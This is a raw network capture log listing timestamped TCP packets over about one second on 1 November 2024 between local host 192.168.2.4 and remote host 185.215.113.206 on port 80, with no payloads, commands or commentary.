Nov 1, 2024 03:45:29.806581020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.806592941 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.806612968 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.806621075 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.806638002 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.806663990 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.806675911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.806693077 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.806720972 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.806749105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.806761980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.806797981 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.807027102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807037115 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807071924 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807095051 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.807156086 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.807157993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807168961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807290077 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.807405949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807452917 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.807564974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807580948 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807593107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807646990 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.807698965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807754040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807765007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807775974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807807922 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.807833910 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.807881117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807926893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807939053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.807965994 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.807986975 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.808011055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.808022022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.808032990 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.808079958 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.808111906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.808121920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.808172941 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.853373051 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.853387117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.853396893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.853413105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.853425980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.853466034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.853480101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.853529930 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.854160070 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.854171038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.854183912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.854207039 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:29.854219913 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.854242086 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.854274035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.939012051 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:29.943821907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220309019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220338106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220347881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220432043 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.220491886 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220537901 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220550060 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220592022 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.220592976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220603943 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220643997 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.220760107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220782995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220796108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220840931 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.220899105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220911980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220921993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220940113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220956087 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.220972061 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.220982075 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.220993996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.221033096 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.221376896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.221424103 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.221435070 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.221435070 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.221467972 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.221546888 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.221591949 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.221596003 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.221606970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.221704960 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.337460995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337486982 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337498903 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337512970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337531090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337534904 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.337548971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337555885 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.337579966 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337599039 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.337625027 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.337630987 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337642908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337677002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337677956 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.337877989 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337924957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337938070 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.337938070 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.337980032 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.338038921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.338051081 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.338061094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.338093042 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.338108063 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.338135004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.338186979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.338320971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.338505030 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.378798962 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.378818035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.378860950 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.378884077 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.378966093 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.378978968 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.378988981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379028082 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.379041910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379055023 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.379072905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379085064 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379085064 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.379116058 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.379126072 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.379268885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379280090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379292011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379303932 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379337072 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.379350901 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.379519939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379532099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379543066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379575014 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.379606009 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.379618883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379628897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379677057 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.379877090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379887104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379934072 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.379954100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.379971027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.380012035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.455509901 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.455552101 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.455564022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.455574036 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.455606937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.455634117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.455646038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.455656052 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.455667973 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.455703974 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.455820084 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.455831051 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.455842018 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.455853939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.455864906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.455873013 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.455890894 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.455909967 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.455950022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.456021070 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.456032038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.456069946 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.456094027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.456105947 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.456211090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.496031046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496083975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496083975 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.496124983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.496387959 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496398926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496411085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496422052 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496438026 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.496469021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496478081 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.496507883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496521950 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.496525049 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496546984 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.496567965 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.496682882 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496701956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496711969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496768951 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.496845961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496893883 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.496915102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496927977 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496953964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.496965885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.497006893 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.497215033 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.497293949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.497303963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.497320890 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.497330904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.497353077 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.497380018 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.572627068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.572653055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.572664976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.572735071 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.572767019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.572778940 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.572789907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.572803020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.572832108 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.572832108 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.572882891 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.572990894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.573003054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.573014975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.573026896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.573039055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.573066950 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.573069096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.573107004 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.573107004 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.573115110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.573127031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.573194027 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.573244095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.573256016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.573359013 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.613527060 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.613620043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.613621950 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.613631964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.613661051 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.613679886 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.613754034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.613765955 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.613815069 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.613825083 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.613842964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.613843918 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.613852978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.613867044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.613878965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.613888025 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.613931894 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.613931894 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.614082098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.614132881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.614145994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.614157915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.614157915 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.614191055 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.614227057 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.614379883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.614407063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.614418030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.614475965 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.614584923 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.614651918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.614665031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.614700079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.614736080 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.614784002 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.689735889 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.689775944 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.689786911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.689799070 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.689882040 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.689887047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.689897060 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.689898014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.689937115 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.689937115 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.690005064 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690049887 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690061092 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690109968 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.690125942 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.690176964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690229893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690241098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690285921 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.690323114 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690335035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690347910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690419912 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.690663099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690712929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690725088 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690741062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.690788984 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.690788984 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.697616100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.697626114 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.697712898 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.730918884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.730932951 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.730950117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.730967045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.730983019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.730983973 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.731029034 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.731029034 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.731056929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731067896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731079102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731102943 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.731121063 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.731153965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731165886 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731175900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731211901 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.731250048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.731554985 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731566906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731578112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731626034 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.731643915 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.731704950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731715918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731726885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731762886 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:30.731785059 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:30.731901884 CET	49756	80	192.168.2.4	185.215.113.206
